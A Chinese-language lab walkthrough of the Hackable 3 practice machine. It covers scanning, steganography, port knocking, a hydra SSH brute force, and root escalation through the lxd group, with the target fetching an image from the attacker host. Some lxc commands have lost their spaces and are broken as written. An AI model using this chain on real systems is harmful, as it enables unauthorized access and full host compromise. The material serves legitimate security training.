Step 1
在找到目标靶机后,我们首先使用nmap工具来进行初步的信息收集
Command used: << nmap -sV -p- 192.168.31.180 >>
Step 2
通过扫描我们可以得知80端口是开启状态,访问后得到以下界面
查看其源代码
我们可以得到一条注释
“Please, jubiscleudo, don’t forget to activate the port knocking when exiting your section, and tell the boss not to forget to approve the .jpg file - dev_suport@hackable3.com”
从中我们可以提取出几个有用的消息:
1.消息是dev_suport@hackable3.com发给jubiscleudo的,推测有jubiscleudo与hackable3用户
2.它的端口需要“敲开”
3.需要留意“.jpg”文件
在上方图片中,我们可以留意到还有一个a标签,指向另外一个界面
进入后是一个登陆界面
无论如何登陆,他都会跳转到login.php,并且显示源码
我们可以收集到有config.php这个界面与3.jpg这个图片,我们分别访问
config.php是这个:
告诉我们mysql的root用户没有密码
3.jpg是一张这样的图片:
我们将图片保存下来
Command used: << wget http://192.168.31.180/3.jpg >>
这里我们需要用到一个图片隐写的工具steghide来对该图片进行分离
我们可以使用命令 apt install steghide来安装该工具
Command used: << steghide --extract -sf 3.jpg >>
安装完成后我们可以使用上方命令进行分离,在passphrase一栏中直接enter即可得到一个文件
经查看我们得到数字65535
Step 3
信息收集到这里还未结束,使用dirb工具扫描web
Command used: << dirb http://192.168.31.180 >>
访问backup,有一个wordlist.txt,推测是密码文件
Command used: << wget http://192.168.31.180/backup/wordlist.txt >>
访问config,有一个1.txt,里面有串类似base64的字符串
尝试解开
Command used: << echo “MTAwMDA=”|base64 -d >>
得到数字10000
访问css,有一个2.txt,里面有一串编码
经查询该加密为brainfuck加密
bugku的ctf在线工具里面恰好也有该加解密的工具https://ctf.bugku.com/tool/brainfuck
解码后得到数字4444
Step 4
到此为止我们得到了三个数字:4444 10000 65535
这时我们需要这三个数字来敲开22端口!
我们使用apt install knockd来安装knock工具
Command used: << knock -v 192.168.31.180 10000 4444 65535 >>
我们按照这个顺序敲开22端口,有关knock相关细节请查阅官方文档,这里不过多赘述
Step 5
Command used: << hydra -l jubiscleudo -P wordlist.txt ssh://192.168.31.180 >>
然后我们通过九头蛇工具爆破jubiscleudo的密码
通过账号密码登录ssh
查看html目录下有一个隐藏文件,在里面我们可以看到hackable_3用户的密码
我们使用账号密码登录上hackable_3用户,查看它的所在组,发现116(lxd)
Step 6
我们将利用lxd组来进行提取,参考文章:https://blog.csdn.net/YouthBelief/article/details/123548739
攻击机操作
1.通过git将构建好的alpine镜像克隆至本地;
git clone https://github.com/saghul/lxd-alpine-builder.git
2.执行“build -alpine”命令完成最新版本的Alpine镜像构建,此操作必须由root用户完成;
cd lxd-alpine-builder
sudo ./build-alpine
3.将tar文件发送至目标设备,下载好后 启动python http访问 ;
python3 -m http.server 80
靶机操作
1.下载攻击机上的最新的apline包,注意是最新那份
wget http://192.168.31.244/alpine-v3.16-x86_64-20221107_0401.tar.gz
2.导入镜像并初始化镜像
lxc image import ./alpine-v3.16-x86_64-20221107_0401.tar.gz --alias test
lxc init testtest -c security.privileged=true
运行到第二条报错,提示创建存储库,我们需要先初始化
lxd init #一路回车
我们再运行回第二条命令
lxc init testtest -c security.privileged=true #初始化镜像
3.挂载磁盘
lxc config device addtesttest disk source=/ path=/mnt/root recursive=true
4.启动镜像并进入镜像访问任意文件
lxc start test
lxc exectest /bin/sh
idcd /mnt/root
ls
结束游戏
版权归原作者 小 白 萝 卜 所有, 如有侵权,请联系我们删除。